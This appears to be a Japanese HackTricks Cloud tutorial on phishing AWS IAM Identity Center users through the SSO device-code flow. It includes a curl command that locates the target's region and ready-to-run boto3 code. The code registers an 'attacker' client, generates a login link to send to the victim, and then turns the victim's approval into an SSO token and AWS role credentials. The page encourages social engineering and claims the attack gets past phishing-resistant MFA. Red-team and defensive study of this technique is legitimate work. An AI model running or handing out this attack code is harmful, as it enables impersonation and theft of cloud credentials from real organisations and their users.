AWS - Identity Center & SSO 認証なし列挙
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
AWS デバイスコードフィッシング
最初にこのブログ記事で提案されたように、AWS SSOを使用してユーザーにリンクを送信することが可能で、ユーザーが承認すると、攻撃者はユーザーを偽装するためのトークンを取得し、Identity Centerでユーザーがアクセスできるすべてのロールにアクセスできるようになります。
この攻撃を実行するための要件は次のとおりです:
- 被害者はIdentity Centerを使用している必要があります
- 攻撃者は被害者が使用しているサブドメインを知っている必要があります
<victimsub>.awsapps.com/start
前述の情報だけで、攻撃者はユーザーにリンクを送信でき、承認されると攻撃者はAWSユーザーアカウントへのアクセス権を得ることができます。
攻撃
- サブドメインの特定
攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これはOSINTや推測 + ブルートフォースを通じて行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。
この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- 被害者のリンクを生成して送信する
次のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。
デモのために、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので、終了しないでください:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
被害者に生成されたリンクを送信し、あなたの素晴らしいソーシャルエンジニアリングスキルを使いましょう!
- 被害者がそれを受け入れるのを待ちます
被害者がすでにAWSにログインしている場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、ログインしてから権限を付与することを受け入れる必要があります。
これが現在のプロンプトの見た目です:
.png)
- SSOアクセストークンを取得する
被害者がプロンプトを受け入れた場合、このコードを実行してユーザーを偽装してSSOトークンを生成します:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
SSOアクセストークンは8時間有効です。
- ユーザーをなりすます
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
フィッシングできないMFAのフィッシング
以前の攻撃が**「フィッシングできないMFA」(webAuth)が使用されていても機能することを知るのは楽しいです。これは、以前のワークフローが使用されているOAuthドメインを離れないためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がある場合、デバイスコードワークフローはデバイスによって知られているコードが準備されているため、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは初期コードを知っているだけで**、ユーザーのために資格情報を取得することができます。
詳細については、この投稿を確認してください。
自動ツール
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
参考文献
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。